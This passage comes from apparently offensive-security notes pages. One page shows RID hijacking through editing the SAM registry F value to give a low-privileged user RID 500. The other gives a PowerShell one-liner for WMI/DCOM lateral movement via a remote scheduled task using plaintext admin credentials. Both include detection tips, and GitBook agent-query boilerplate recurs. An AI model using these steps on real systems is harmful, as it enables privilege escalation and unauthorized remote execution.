shows that the user \`hijacked\` is a low privileged user and has an RID of 1006 or 0x3ee: !\[\](/files/-M0DGJlxfn7mv9ZjMEhU) If we try to write something to c:\\windows\\ with the user \`hijacked\`, as expected, we get \`Access is Denied\`: !\[\](/files/-M0DGYZgoeE3NSona3oi) HKEY\\\_LOCAL\\\_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000003EE stores some information about the user\`hijacked\` that is used by LSASS during the user logon/authentication process. Specifically, at offset \`0030\` in the value \`F\` there are bytes that denote user's RID, which in our case are 03ee (1006) for the user \`hijacked\`: !\[\](/files/-M0DGeYuTBtkjJYilbhi) We can change those 2 bytes to 0x1f4 (500 - default administrator RID), which will effectively make the user \`hijacked\` assume administrator privileges: !\[\](/files/-M0DGtzKXc-5kF\_h7ypJ) ## Demo After changing the \`hijacked\` RID from 3ee to 1f4 and creating a new logon session, we can see that the user \`hijacked\` is now allowed to write to c:\\windows\\\\, suggesting it now has administrative privileges: !\[\](/files/-M0DHZBbuYfbn1bcmp53) Note, that the user \`hijacked\` still does not belong to local administrators group, but its RID is now 500: !\[\](/files/-M0DHoH1TRurXKs55jPX) ## Detection Monitor HKEY\\\_LOCAL\\\_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\\\\\\*\\F for modifications, especially if they originate from unusual binaries. ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/rid-hijacking.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/lateral-movement/wmi-via-newscheduledtask.md). # WMI + NewScheduledTaskAction Lateral Movement ## Execution On the victim system, let's run a simple loop to see when a new scheduled task gets added: \`\`\`csharp $a=$null; while($a -eq $null) { $a=Get-ScheduledTask | Where-Object {$\_.TaskName -eq "lateral"}; $a } \`\`\` Now from the compromised victim system, let's execute code laterally: {% code title="attacker\\@remote" %} \`\`\`csharp $connection = New-Cimsession -ComputerName "dc-mantvydas" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("administrator", (ConvertTo-SecureString -String "123456" -asplaintext -force)))) -ErrorAction Stop; register-scheduledTask -action (New-ScheduledTaskAction -execute "calc.exe" -cimSession $connection -WorkingDirectory "c:\\windows\\system32") -cimSession $connection -taskname "lateral"; start-scheduledtask -CimSession $connection -TaskName "lateral" \`\`\` {% endcode %} Graphic showing both of the above commands and also the process ancestry on the target system: !\[\](/files/-LPDF5kLS4zuHFLnYLC9) ## Observations As usual, services.exe spawning unusual binaries should raise a wary defender's suspicion. You may also want consider monitoring for new scheduled tasks that get created on your systems: !\[\](/files/-LPDFJIerhqNaFCFN\_7q) !\[\](/files/-LPDKrRjEw\_yCogdEwg7) {% hint style="info" %} Sysmon config master version 64 from does not log the calc.exe Process Creation event being spawned by the services.exe {% endhint %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/lateral-movement/wmi-via-newscheduledtask.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. ---